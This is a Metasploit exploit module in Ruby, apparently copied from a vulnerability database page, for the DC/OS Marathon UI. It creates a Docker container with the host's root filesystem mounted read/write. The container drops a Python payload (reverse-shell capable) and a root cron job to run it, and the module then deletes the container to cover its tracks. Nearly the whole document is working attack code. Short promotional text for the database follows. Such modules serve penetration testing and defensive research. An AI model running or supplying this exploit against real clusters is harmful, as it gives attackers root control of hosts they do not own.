##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'DC/OS Marathon UI Docker Exploit',
'Description' => %q{
Utilizing the DCOS Cluster's Marathon UI, an attacker can create
a docker container with the '/' path mounted with read/write
permissions on the host server that is running the docker container.
As the docker container executes command as uid 0 it is honored
by the host operating system allowing the attacker to edit/create
files owed by root. This exploit abuses this to creates a cron job
in the '/etc/cron.d/' path of the host server.
*Notes: The docker image must be a valid docker image from
hub.docker.com. Furthermore the docker container will only
deploy if there are resources available in the DC/OS cluster.
},
'Author' => 'Erik Daguerre',
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://warroom.securestate.com/dcos-marathon-compromise/'],
],
'Targets' => [
[ 'Python', {
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' => {
'Compat' => {
'ConnectionType' => 'reverse noconn none tunnel'
}
}
}
]
],
'DefaultOptions' => { 'WfsDelay' => 75 },
'DefaultTarget' => 0,
'DisclosureDate' => '2017-03-03'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'Post path to start docker', '/v2/apps' ]),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
])
end
def get_apps
res = send_request_raw({
'method' => 'GET',
'uri' => target_uri.path
})
return unless res and res.code == 200
# verify it is marathon ui, and is returning content-type json
return unless res.headers.to_json.include? 'Marathon' and res.headers['Content-Type'].include? 'application/json'
apps = JSON.parse(res.body)
apps
end
def del_container(container_id)
res = send_request_raw({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, container_id)
})
return unless res and res.code == 200
res.code
end
def make_container_id
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
rand_text_alpha_lower(8)
end
def make_cmd(mnt_path, cron_path, payload_path)
vprint_status('Creating the docker container command')
payload_data = nil
echo_cron_path = mnt_path + cron_path
echo_payload_path = mnt_path + payload_path
cron_command = "python #{payload_path}"
payload_data = payload.raw
command = "echo \"#{payload_data}\" >> #{echo_payload_path}\n"
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path}\n"
command << "echo \"\" >> #{echo_cron_path}\n"
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}\n"
command << "sleep 120"
command
end
def make_container(mnt_path, cron_path, payload_path, container_id)
vprint_status('Setting container json request variables')
container_data = {
'cmd' => make_cmd(mnt_path, cron_path, payload_path),
'cpus' => 1,
'mem' => 128,
'disk' => 0,
'instances' => 1,
'id' => container_id,
'container' => {
'docker' => {
'image' => datastore['DOCKERIMAGE'],
'network' => 'HOST',
},
'type' => 'DOCKER',
'volumes' => [
{
'hostPath' => '/',
'containerPath' => mnt_path,
'mode' => 'RW'
}
],
},
'env' => {},
'labels' => {}
}
container_data
end
def check
return Exploit::CheckCode::Safe if get_apps.nil?
Exploit::CheckCode::Appears
end
def exploit
if get_apps.nil?
fail_with(Failure::Unknown, 'Failed to connect to the targeturi')
end
# create required information to create json container information.
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
payload_path = '/tmp/' + rand_text_alpha(8)
mnt_path = '/mnt/' + rand_text_alpha(8)
container_id = make_container_id()
res = send_request_raw({
'method' => 'POST',
'uri' => target_uri.path,
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
})
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res and res.code == 201
print_status('The docker container is created, waiting for it to deploy')
register_files_for_cleanup(cron_path, payload_path)
sleep_time = 5
wait_time = datastore['WAIT_TIMEOUT']
deleted_container = false
print_status("Waiting up to #{wait_time} seconds for docker container to start")
while wait_time > 0
sleep(sleep_time)
wait_time -= sleep_time
apps_status = get_apps
fail_with(Failure::Unknown, 'No apps returned') unless apps_status
apps_status['apps'].each do |app|
next if app['id'] != "/#{container_id}"
if app['tasksRunning'] == 1
print_status('The docker container is running, removing it')
del_container(container_id)
deleted_container = true
wait_time = 0
else
vprint_status('The docker container is not yet running')
end
break
end
end
# If the docker container does not deploy remove it and fail out.
unless deleted_container
del_container(container_id)
fail_with(Failure::Unknown, "The docker container failed to start")
end
print_status('Waiting for the cron job to run, can take up to 60 seconds')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation